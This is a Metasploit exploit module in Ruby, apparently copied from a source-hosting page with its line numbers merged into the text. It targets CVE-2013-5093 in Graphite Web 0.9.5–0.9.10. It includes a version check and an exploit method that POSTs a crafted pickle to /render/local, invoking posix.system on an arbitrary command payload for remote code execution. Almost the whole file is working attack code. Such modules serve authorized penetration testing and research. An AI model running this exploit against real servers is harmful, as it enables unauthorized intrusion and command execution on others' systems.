Path: blob/master/modules/exploits/unix/webapp/graphite_pickle_exec.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Graphite Web Unsafe Pickle Handling',15'Description' => %q{16This module exploits a remote code execution vulnerability in the pickle17handling of the rendering code in the Graphite Web project between version180.9.5 and 0.9.10 (both included).19},20'Author' => [21'Charlie Eriksen', # Initial discovery and exploit22'funkypickle' # Version check to prove vulnerable23],24'License' => MSF_LICENSE,25'References' => [26[ 'CVE', '2013-5093'],27[ 'URL', 'http://ceriksen.com/2013/08/20/graphite-remote-code-execution-vulnerability-advisory/']28],29'Platform' => 'unix',30'Arch' => ARCH_CMD,31'Privileged' => false,32'Targets' => [ ['Automatic', {} ] ],33'DisclosureDate' => '2013-08-20',34'DefaultTarget' => 0,35'Payload' => {36'DisableNops' => true,37'Space' => 16384,38'Compat' =>39{40'PayloadType' => 'cmd',41'RequiredCmd' => 'python generic telnet netcat perl ruby'42}43},44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48}49)50)5152register_options(53[54OptString.new('TARGETURI', [ true, 'The path to a vulnerable application', '/'])55]56)57end5859def check60res1 = send_request_cgi({61# trailing slash required62'uri' => normalize_uri(target_uri.path, 'version/'),63'method' => 'GET'64})6566res2 = send_request_cgi({67'uri' => normalize_uri(target_uri.path, 'render', 'local'),68'method' => 'POST'69})7071if (res1 and %w(0.9.5 0.9.10).include?(res1.body.strip)) and (res2 and res2.code == 500)72return Exploit::CheckCode::Vulnerable73end7475return Exploit::CheckCode::Safe76end7778def exploit79data = "line\ncposix\nsystem\np1\n(S'#{payload.encoded}'\np2\ntp3\nRp4\n."8081print_status("Sending exploit payload...")8283response = send_request_cgi({84'uri' => normalize_uri(target_uri.path, 'render', 'local'),85'method' => 'POST',86'data' => data87})88end89end909192